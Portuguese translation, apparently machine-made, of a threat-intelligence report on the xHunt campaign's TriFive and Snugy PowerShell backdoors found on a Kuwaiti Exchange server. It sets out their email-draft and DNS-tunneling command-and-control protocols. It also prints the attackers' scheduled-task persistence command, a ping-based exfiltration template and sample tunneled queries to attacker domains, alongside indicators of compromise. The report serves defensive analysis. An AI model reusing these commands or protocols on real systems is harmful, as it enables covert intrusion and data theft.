Campanha xHunt: Backdoors recém-descobertos usando rascunhos de e-mail excluídos e tunelamento de DNS para comando e controle

Sumário executivo

Não temos visibilidade de como os atores obtiveram acesso a este servidor Exchange. No entanto, com base nos timestamps de criação de tarefas agendadas associadas à violação, acreditamos que os agentes da ameaça obtiveram acesso ao servidor Exchange em ou antes de 22 de agosto de 2019. A atividade que observamos envolveu duas backdoors – uma das quais chamamos de TriFive e uma variante do CASHY200 que chamamos de Snugy – bem como um shell da web que chamamos de BumbleBee.

Os backdoors TriFive e Snugy são scripts do PowerShell que fornecem acesso backdoor ao servidor Exchange comprometido, usando diferentes canais de comando e controle (C2) para se comunicar com os atores. O backdoor TriFive usa um canal baseado em email que usa Exchange Web Services (EWS) para criar rascunhos na pasta Itens excluídos de uma conta de email comprometida. O backdoor Snugy usa um canal de túnel DNS para executar comandos no servidor comprometido. Forneceremos uma visão geral dessas duas backdoors, uma vez que diferem das ferramentas utilizadas anteriormente na campanha.

Estaremos fornecendo uma análise da atividade associada ao shell da web BumbleBee em um próximo blog. Essa atividade fornece um vislumbre das táticas, técnicas e procedimentos do ator da ameaça ao interagir com servidores comprometidos.

Os clientes da Palo Alto Networks estão protegidos contra os ataques descritos neste blog de várias maneiras. Veja a Conclusão para mais detalhes.

Backdoors TriFive e Snugy

Em setembro de 2020, fomos notificados de que os atores da ameaça violaram uma organização no Kuwait. O servidor Exchange da organização tinha comandos suspeitos sendo executados por meio do processo w3wp.exe dos Serviços de Informações da Internet (IIS). Os atores emitiram esses comandos por meio de um shell da web que chamamos de BumbleBee, que foi instalado no servidor Exchange, que discutiremos em detalhes em um blog futuro. Investigamos como os atores instalaram o shell da web no sistema e não encontramos nenhuma evidência de exploração do servidor Exchange nos logs que conseguimos coletar. No entanto, descobrimos duas tarefas agendadas criadas pelo ator da ameaça bem antes das datas dos logs coletados, sendo que ambas executariam scripts PowerShell maliciosos. Não podemos confirmar se os atores usaram um desses scripts do PowerShell para instalar o shell da web, mas acreditamos que os atores da ameaça já tinham acesso ao servidor antes dos logs.

Os atores criaram duas tarefas no servidor Exchange denominadas ResolutionHosts e ResolutionsHosts , ambas criadas na pasta c: \ Windows \ System32 \ Tasks \ Microsoft \ Windows \ WDI . Essa pasta também armazena uma tarefa ResolutionHost legítima por padrão em sistemas Windows, conforme mostrado na Figura 1. A tarefa ResolutionHost legítima está associada ao host de resolução de WDI (Windows Diagnostic Infrastructure) que é usado para fornecer solução interativa de problemas que surgem no sistema . Acreditamos que o ator escolheu esses nomes de tarefa especificamente para se misturar e parecer fazer parte do WDI legítimo.

Figura 1. Tarefa ResolutionHost legítima associada ao host Windows Diagnostic Infrastructure Resolution. As tarefas que executam as backdoors parecem imitar essa tarefa.

Em 28 de agosto e 22 de outubro, 2019, os atores criaram as ResolutionHosts e ResolutionsHosts tarefas a executar dois backdoors baseados em PowerShell separadas. Os atores usaram essas duas tarefas agendadas como um método de persistência, pois executaram os dois scripts do PowerShell repetidamente, embora em intervalos diferentes. A Tabela 1 mostra as duas tarefas e seus tempos de criação associados, intervalos de execução e o comando executado. Os comandos executados pelas duas tarefas tentam executar splwow64.ps1 e OfficeIntegrator.ps1 , que são backdoors que chamamos de TriFive e uma variante de CASHY200 que chamamos de Snugy, respectivamente. Os scripts foram armazenados em duas pastas separadas no sistema, o que é provavelmente uma tentativa de evitar que ambos os backdoors sejam descobertos e removidos.

Tarefa	Hora de Criação	Intervalo de execução	Comando
ResolutionHosts	28/08/2019T20: 01: 34	30 minutos	powershell -exec bypass -file C: \ Users \ Public \ Libraries \ OfficeIntegrator.ps1
ResolutionsHosts	22/10/2019 T15: 02: 39	5 minutos	powershell -exec bypass -file c: \ windows \ splwow64.ps1

Tabela 1. Tarefas agendadas usadas para executar de forma persistente backdoors maliciosos baseados em PowerShell.

A tabela também mostra que as duas backdoors foram executadas em intervalos diferentes, com a backdoor TriFive funcionando a cada cinco minutos e a backdoor Snugy a cada 30 minutos. Não podemos confirmar a razão exata por trás da diferença de intervalos, mas pode ter a ver com a furtividade do canal C2 associado à porta dos fundos. Por exemplo, o Snugy pode ter um intervalo mais longo do que o TriFive, pois usa o tunelamento DNS como um canal C2, que é um canal C2 mais conhecido com uma maior probabilidade de detecção em comparação com o canal C2 baseado em e-mail anteriormente desconhecido usado pelo TriFive.

Nós não foram capazes de confirmar como os atores criaram as ResolutionHosts e ResolutionsHosts tarefas. No entanto, estamos cientes dos atores que usam scripts em lote para criar tarefas agendadas chamadas SystemDataProvider e CacheTask – ao instalar amostras Snugy em outros sistemas. Por exemplo, o seguinte script em lote cria e executa uma tarefa agendada chamada SystemDataProvider para executar a amostra Snugy chamada xpsrchvw.ps1 :

schtasks / create / sc MINUTE / mo 5 / tn “\ Microsoft \ Windows \ SideShow \ SystemDataProvider” / tr “powershell -exec bypass -file C: \ Windows \ Temp \ xpsrchvw.ps1” / ru SISTEMA & schtasks / run / tn “\ Microsoft \ Windows \ SideShow \ SystemDataProvider”

Porta traseira TriFive

TriFive é um backdoor baseado em PowerShell que os atores do xHunt instalaram no servidor Exchange comprometido, executando a cada cinco minutos por meio de uma tarefa agendada. O TriFive forneceu acesso backdoor ao servidor Exchange fazendo login na caixa de entrada de um usuário legítimo e obtendo um script do PowerShell de um rascunho de email dentro da pasta de emails excluída. A amostra TriFive usou um nome de conta legítimo e credenciais da organização-alvo. Isso sugere que o ator da ameaça roubou as credenciais da conta antes da instalação do backdoor TriFive.

O uso de rascunhos de e-mail e uma conta de e-mail compartilhada entre o cavalo de Troia e o ator para facilitar as comunicações C2 não é uma técnica nova para os atores associados ao xHunt. Na verdade, essa mesma técnica geral foi usada pelo C2 baseado em e-mail na ferramenta Hisoka discutida na publicação inicial sobre a campanha xHunt em setembro de 2019. Embora a ferramenta Hisoka usasse rascunhos de e-mail para enviar e receber dados, esses rascunhos permaneceram no Pasta de rascunhos , enquanto o backdoor TriFive salva especificamente seus rascunhos de e-mail na pasta Itens excluídos .

Para emitir comandos para a porta dos fundos, o ator deve fazer login na mesma conta de e-mail legítima e criar um rascunho de e-mail com assunto 555 , incluindo o comando no formato criptografado e codificado em base64. A Figura 2 mostra um exemplo de e-mail de comando com assunto 555 e corpo de mensagem woFyeWt3cw == , que decodifica e descriptografa para whoami . O script executaria isso por meio do PowerShell.

Figura 2. Rascunho de e-mail na pasta Itens excluídos, emitindo comando para a porta traseira do TriFive.

Para executar os comandos fornecidos pelo ator, o script do PowerShell efetua login em uma conta de email legítima no servidor Exchange e verifica a pasta Deleted Items para emails com assunto 555 . O script abre o rascunho do e-mail, a base64 decodifica o conteúdo no corpo da mensagem do e-mail e decodifica o conteúdo decodificado subtraindo 10 de cada caractere. O script então executa o texto não criptografado resultante usando o cmdlet Invoke-Expression (iex) interno do PowerShell. Depois de executar o código PowerShell fornecido, o script criptografará os resultados adicionando 10 a cada caractere e a codificação base64 do texto cifrado. O TriFive irá então enviar os resultados do comando para o ator, definindo o texto cifrado codificado como o corpo da mensagem de um rascunho de e-mail que será salvo noPasta de itens excluídos com o assunto de 555 s. A Figura 3 mostra um exemplo de rascunho de e-mail na pasta Itens excluídos criada pelo script TriFive para transmitir os resultados do comando emitido, que tem um assunto de 555 se um corpo de mensagem de bQB5AHgAfgB5AH0AeQBmAGsAbgB3AHMAeABzAH0AfgB8AGsAfgB5AHwA , que decodifica o administrador e decodifica o administrador .

Figura 3. Rascunho de e-mail na pasta Itens excluídos criada pelo backdoor TriFive para enviar resultados para C2.

O script TriFive PowerShell não tem nenhum loop para ser executado continuamente em um sistema. Em vez disso, o TriFive depende da tarefa agendada ResolutionsHosts mencionada anteriormente para persistência.

Porta traseira confortável

O arquivo OfficeIntegrator.ps1 visto na tarefa ResolutionHosts é um backdoor baseado em PowerShell que chamamos de Snugy, que permite que um ator obtenha o nome do host do sistema e execute comandos. Snugy é uma variante da porta dos fundos CASHY200 usada por atores em ataques anteriores na campanha xHunt . Em julho de 2019, a Trend Micro criou uma assinatura de detecção para esse backdoor chamada Backdoor.PS1.NETERO.A , que sugere que essa variante específica do CASHY200 já existe há mais de um ano. Estamos chamando essa variante de Snugy de backdoor, pois Netero já é o nome de uma variante da ferramenta Hisoka usada pelos atores do xHunt.

Observamos as seguintes sobreposições de código entre esta ferramenta Snugy e CASHY200:

1. Função usada para converter strings em representação hexadecimal.
2. Função usada para gerar uma string de caracteres aleatórios em maiúsculas e minúsculas.
3. Expressão regular para extrair o endereço IP resolvido do comando ping ou nslookup , dependendo da amostra.
4. O manipulador de comandos usa o primeiro octeto do endereço IP para determinar o comando a ser executado.
5. O manipulador de comandos tem os mesmos dois comandos disponíveis: get hostname e run command.

Muito parecido com o CASHY200, o Snugy usa o túnel DNS para se comunicar com seu servidor C2, especificamente emitindo pesquisas de registro DNS A para resolver subdomínios personalizados de domínios C2 controlados por ator. No entanto, a estrutura dos domínios personalizados difere drasticamente das amostras CASHY200 anteriores devido ao seguinte:

1. Valores variáveis ​​para campos importantes no subdomínio.
2. Ordem escolhida aleatoriamente dos campos na seção de dados.
3. Domínios C2 escolhidos aleatoriamente para cada consulta de saída.
4. Só pode transmitir um byte de dados por consulta, em vez de 11.

As diferenças nos subdomínios e na quantidade de dados que cada consulta pode transmitir é o principal motivo de darmos a esse exemplo específico seu próprio nome de variante. A amostra Snugy foi configurada para escolher um dos seguintes domínios aleatoriamente como seu domínio C2:

hotsoft [.] icu

uplearn [.] topo

lidarcc [.] icu

deman1 [.] icu

Como as primeiras variantes do CASHY200, a variante Snugy usa o seguinte comando para executar ping em um domínio criado personalizado, que tenta resolver o domínio antes de enviar as solicitações ICMP para o endereço IP de resolução:

cmd / c ping -n 1 <subdomínio personalizado>. <domínio C2>

Snugy irá extrair o endereço IP que o aplicativo ping resolveu usando a seguinte expressão regular para coletar o endereço IP dos resultados do ping:

\ b (? 🙁 ?: 25 [0-5] | 2 [0-4] [0-9] | [01]? [0-9] [0-9]?) \.) {3} ( ?: 25 [0-5] | 2 [0-4] [0-9] | [01]? [0-9] [0-9]?) \ B

Essa expressão regular está publicamente disponível em muitos sites como uma forma de extrair ou validar endereços IP. No entanto, vimos essa mesma expressão regular na ferramenta CASHY200 usada em ataques xHunt anteriores . Snugy também tem o mesmo conjunto de comandos disponível como CASHY200 e usa o primeiro octeto para determinar o comando que o ator deseja executar. A Tabela 2 mostra os dois números que enviarão o nome do host do sistema para o C2 ou executarão um comando. Os primeiros octetos de 86 e 102 diferem dos 48 e 92 do CASHY200, mas ambos os backdoors usam o segundo octeto para determinar quantas consultas DNS o backdoor precisa emitir para baixar o comando do C2.

endereço de IP	Descrição
86.xxx	Executa o comando hostname e envia os resultados para C2
102. <# De consultas> .xx	Execute o comando via cmd / ce envie os resultados para C2

Tabela 2. Manipulador de comandos de backdoor confortável.

Os subdomínios criados por Snugy incluem um campo de tipo de comunicação, um campo especificando a ordem dos elementos na seção de dados e, por último, a seção de dados, conforme visto na seguinte estrutura de domínio C2:

<caractere para o tipo de comunicação> <caractere para a ordem dos campos na seção de dados> <seção de dados>. <domínio C2>

Conforme mencionado anteriormente, a estrutura do subdomínio difere drasticamente das variantes anteriores. Não apenas apresenta vários valores possíveis para cada tipo de comunicação, mas também inclui uma ordem aleatória de campos na seção de dados do subdomínio. O primeiro caractere no subdomínio gerado pelo Snugy é o tipo de comunicação, que informa ao servidor C2 a finalidade da consulta DNS de entrada. A Tabela 3 mostra os caracteres possíveis para cada tipo de comunicação que Snugy escolherá aleatoriamente ao construir o subdomínio, bem como a finalidade de cada tipo.

Tipo de comunicação	Descrição
‘q’, ‘b’, ‘e’, ​​’d’ ou ‘m’	Beacon inicial
‘z’, ‘j’, ‘r’, ‘p’ ou ‘x’	Enviando o nome do host como dados para o servidor C2
‘s’, ‘n’, ‘u’, ‘g’ ou ‘y’	Solicitando um bloco de dados do servidor C2
‘c’, ‘f’, ‘v’, ‘h’ ou ‘k’	Enviando os resultados da execução do comando como dados para o servidor C2
‘i’, ‘t’, ‘o’, ‘l’ ou ‘w’	Notificação do fim da transmissão de dados

Tabela 3. Tipos de comunicação e sua finalidade no protocolo de túnel DNS da Snugy.

O segundo caractere no subdomínio gerado por Snugy informa ao servidor C2 a ordem dos campos na seção de dados subsequente do subdomínio. A seção de dados do subdomínio contém os três campos a seguir e seus índices 0, 1 ou 2 correspondentes usados ​​por Snugy para especificar a ordem dos campos:

0. 4 caracteres hexadecimais que representam um código de campanha de 2 bytes

1. 2 caracteres aleatórios

2. 2 caracteres hexadecimais que representam um byte de dados, seguidos por um número de sequência entre 1 e 9

Snugy usa o índice 0, 1 e 2 para ordenar os campos na seção de dados e inclui o caractere de pedido para que o C2 entenda como analisar consultas de entrada. A Tabela 4 mostra a ordem dos campos de dados e o caractere correspondente usado para representar a ordem. Deve-se observar que a seção de dados está em branco no tipo de comunicação de beacon inicial.

Ordem do Índice	Personagem	Estrutura do campo de dados
012	t	<código da campanha> <caracteres aleatórios> <dados e número de sequência>
021	m	<código da campanha> <dados e número de sequência> <caracteres aleatórios>
102	d	<caracteres aleatórios> <código da campanha> <dados e número de sequência>
120	h	<caracteres aleatórios> <dados e número de sequência> <código da campanha>
201	p	<dados e número de sequência> <código da campanha> <caracteres aleatórios>
210	z	<dados e número de sequência> <caracteres aleatórios> <código da campanha>

Tabela 4. Ordem dos campos de dados e o caractere correspondente usado no protocolo de túnel DNS do Snugy.

O protocolo de túnel DNS Snugy pode enviar apenas um byte de dados por consulta, o que o torna bastante ineficiente na exfiltração de dados, mas o uso de consultas de registro DNS A sugere que o protocolo de túnel DNS pode receber quatro bytes de dados por consulta DNS. Por exemplo, se o servidor C2 resolve a consulta de beacon para um endereço IP que tem “86” como seu primeiro octeto, Snugy emitirá as 12 consultas para transmitir o nome do host “WIN-DESKTOP” para o servidor C2. A Tabela 5 mostra essas 12 consultas com cada subdomínio analisado como o C2 faria ao receber a consulta. Esta tabela destaca a ineficiência desse protocolo de túnel DNS para exfiltração de dados.

Domínio	Domínio analisado – tipo de comunicação, pedido, dados solicitados
jp5717266vd.lidarcc.icu	j (nome do host) p (201) 57 (dados ‘W’) 1 (seq) 7266 (‘rf’) vd (rand)
jhxv4927266.hotsoft.icu	j (nome do host) h (120) xv (rand) 49 (dados ‘I’) 2 (seq) 7266 (‘rf’)
jp4e37266iB.hotsoft.icu	j (nome do host) p (201) 4e (dados ‘N’) 3 (seq) 7266 (‘rf’) iB (rand)
jz2d4gs7266.deman1.icu	j (nome do host) z (210) 2d (‘-‘ dados) 4 (seq) gs (rand) 7266 (‘rf’)
jp4457266xr.hotsoft.icu	j (nome do host) p (201) 44 (dados ‘D’) 5 (seq) 7266 (‘rf’) xr (rand)
jm7266456Va.hotsoft.icu	j (nome do host) m (021) 7266 (‘rf’) 45 (dados ‘E’) 6 (seq) Va (rand)
jhNK5377266.uplearn.top	j (nome do host) h (120) NK (rand) 53 (dados ‘S’) 7 (seq) 7266 (‘rf’)
jt7266CF4b8.lidarcc.icu	j (nome do host) t (012) 7266 (‘rf’) CF (rand) 4b (dados ‘K’) 8 (seq)
jp5497266qV.uplearn.top	j (nome do host) p (201) 54 (dados ‘T’) 9 (seq) 7266 (‘rf’) qV (rand)
jt7266iW4f1.lidarcc.icu	j (nome do host) t (012) 7266 (‘rf’) iW (rand) 4f (dados ‘O’) 1 (seq)
jm7266502HA.lidarcc.icu	j (nome do host) m (021) 7266 (‘rf’) 50 (dados ‘P’) 2 (seq) HA (rand)
ot7266Ng502.hotsoft.icu	o (concluído) t (012) 7266 (‘rf’) Ng (rand) 50 (dados ‘P’) 2 (seq)

Tabela 5. Consultas de exemplo de Snugy enviando o nome do host pelo protocolo de túnel DNS.

Observamos os agentes de ameaça usando a ferramenta Snugy para executar comandos e exfiltrar os resultados, pois fomos capazes de obter os domínios consultados por meio de solicitações de ping enviadas do servidor comprometido. Com base nos dados exfiltrados de dentro dos subdomínios, fomos capazes de determinar os atores que executaram ipconfig / all e dir . Infelizmente, tínhamos apenas um subconjunto das solicitações, portanto, os dados exfiltrados foram truncados, o que também sugere que os atores provavelmente executaram outros comandos que não observamos.

Encontramos uma segunda amostra Snugy em outro servidor na mesma organização do Kuwait com um nome de SyncRes.ps1 e um hash SHA256 de a4a0ec94dd681c030d66e879ff475ca76668acc46545bbaff49b20e17683f99c . O ator instalou esta amostra Snugy salvando este script do PowerShell em C: \ Windows \ System32 \ bg-BG e criando uma tarefa agendada chamada ResolutionHosts dentro da pasta c: \ Windows \ System32 \ Tasks \ Microsoft \ Windows \ RAC para executar o Script do PowerShell a cada 20 minutos. Este exemplo Snugy específico usa apenas um domínio raiz para C2, especificamente sharepoint-web [.] Com , e usa uma estrutura diferente para seus subdomínios personalizados para seu túnel DNS:

<caractere para tipo de comunicação> <dois dígitos aleatórios> 46 <seção de dados hexlificada de 3 bytes>. <domínio C2>

Este exemplo Snugy usa um único caractere de um conjunto de caracteres codificado no início do subdomínio para indicar o tipo de comunicação. Os conjuntos de caracteres usados ​​para o tipo de comunicação são os mesmos da variante OfficeIntegrator.ps1 discutida anteriormente , mas com exceção de snugy , os conjuntos de caracteres significam diferentes tipos de comunicação, como pode ser visto na Tabela 6. A Tabela 6 também mostra que este exemplo apenas tem três tipos de comunicação. O exemplo não inclui o comando hostname. Em vez disso, ele só pode executar comandos se o C2 responder à consulta de beacon com um endereço IP com 199 como o primeiro octeto.

Tipo de comunicação	Descrição
‘i’, ‘t’, ‘o’, ‘l’ ou ‘w’	Beacon inicial
‘s’, ‘n’, ‘u’, ‘g’ ou ‘y’	Solicitando um bloco de dados do servidor C2
‘q’, ‘b’, ‘e’, ​​’d’ ou ‘m’	Enviando os resultados da execução do comando como dados para o servidor C2

Tabela 6. Tipos de comunicação e sua finalidade no protocolo de túnel DNS encontrado na segunda amostra Snugy.

Links de infraestrutura para xHunt

A única infraestrutura associada à atividade descrita neste blog envolve os quatro domínios com os quais Snugy se comunicou como seu C2 usando o túnel de DNS, especificamente hotsoft [.] Icu , uplearn [.] Top , lidarcc [.] Icu e deman1 [.] Icu . Embora não tenha havido muita sobreposição com outra infraestrutura, o domínio ns1.alforatsystem [.] Com resolveu para o mesmo endereço IP que vários dos subdomínios ns1 e ns2 nos quatro domínios Snugy C2 em maio de 2019, conforme visto na Tabela 7 .

Domínio	DNS passivo	Visto pela primeira vez
ns1.hotsoft [.] icu	198,98,48 [.] 181	06/05/2019 10:48:37 AM
ns2.hotsoft [.] icu	198,98,48 [.] 181	06/05/2019 10:48:37 AM
ns1.uplearn [.] top	198,98,48 [.] 181	11/05/2019 11h42:40
ns2.uplearn [.] top	198,98,48 [.] 181	11/05/2019 11h42:40
ns1.lidarcc [.] icu	198,98,48 [.] 181	08/05/2019 12:53:29 PM
ns2.lidarcc [.] icu	198,98,48 [.] 181	08/05/2019 12:53:29 PM
ns1.deman1 [.] icu	198,98,48 [.] 181	08/05/2019 10:30:24 AM
ns2.deman1 [.] icu	198,98,48 [.] 181	08/05/2019 10:30:24 AM
ns1.alforatsystem [.] com	198,98,48 [.] 181	05/05/2019 8:41:38 AM
ns2.alforatsystem [.] com	198,98,48 [.] 181	05/05/2019 8:41:38 AM

Tabela 7. Sobreposição de infraestrutura entre os domínios Snugy C2 e um domínio usado anteriormente no xHunt.

Os atores usaram o domínio alforatsystem [.] Com para hospedar arquivos ZIP que eles usaram para entregar arquivos de atalho LNK para instalar backdoors em ataques anteriores durante a campanha xHunt . O domínio alforatsystem [.] Com também tem uma sobreposição significativa de infraestrutura com outros domínios associados ao xHunt, conforme discutido em nossas publicações anteriores , como firewallsupports [.] Com e pasta58 [.] Com , entre outros.

Conclusão

A campanha xHunt continua enquanto atores de ameaças atacam organizações no Kuwait. O grupo mostra a capacidade de ajustar suas ferramentas com recursos e canais de comunicação ligeiramente novos para evitar a detecção. Ambos os backdoors instalados no servidor Exchange comprometido de uma organização governamental do Kuwait usaram canais secretos para comunicações C2, especificamente tunelamento DNS e um canal baseado em email usando rascunhos na pasta Itens excluídos de uma conta de email comprometida. Apenas uma variante da ferramenta Hisoka usada na campanha xHunt usou rascunhos de email e uma conta de email comprometida para comunicações C2, então parece que este grupo está começando a usar um canal de comunicação baseado em email quando já tem acesso a um Exchange comprometido servidor em uma organização.

Os clientes da Palo Alto Networks estão protegidos contra os ataques descritos neste blog das seguintes maneiras:

• Todos os backdoors TriFive e Snugy conhecidos têm veredictos maliciosos no WildFire .
• Os clientes do AutoFocus podem rastrear os backdoors TriFive e Snugy com as tags TriFive e Snugy .
• O Cortex XDR bloqueia as cargas úteis TriFive e Snugy.
• Os domínios Snugy C2 foram categorizados como Comando e Controle em Filtragem de URL e Segurança DNS .
• A assinatura de prevenção de ameaças “Detecção de tráfego de controle e comando TriFive da porta traseira ” detecta o canal de comando e controle TriFive.

Recursos adicionais

Campanha xHunt: Novo buraco de irrigação identificado para obtenção de credenciais

Campanha xHunt: Folha de dicas do ator xHunt

Campanha xHunt: Novo backdoor do PowerShell bloqueado por meio de detecção de túnel DNS

Campanha xHunt: Ataques às organizações de transporte e envio do Kuwait

Indicadores de compromisso

Amostras TriFive

407e5fe4f6977dd27bc0050b2ee8f04b398e9bd28edd9d4604b782a945f8120f

Amostras Snugy

c18985a949cada3b41919c2da274e0ffa6e2c8c9fb45bade55c1e3b6ee9e1393
6c13084f213416089beec7d49f0ef40fea3d28207047385dda4599517b56e127
efaa5a87afbb18fc63dbf4527ca34b6d376f14414aa1e7eb962485c45bf38372
a4a0ec94dd681c030d66e879ff475ca76668acc46545bbaff49b20e17683f99c

Domínios C2 Snugy

deman1 [.] icu
hotsoft [.] icu
uplearn [.] topo
lidarcc [.] icu
sharepoint-web [.] com

Nomes de tarefas agendadas

ResolutionHosts
ResolutionsHosts
SystemDataProvider
CacheTask-

Fonte: https://unit42.paloaltonetworks.com/xhunt-campaign-backdoors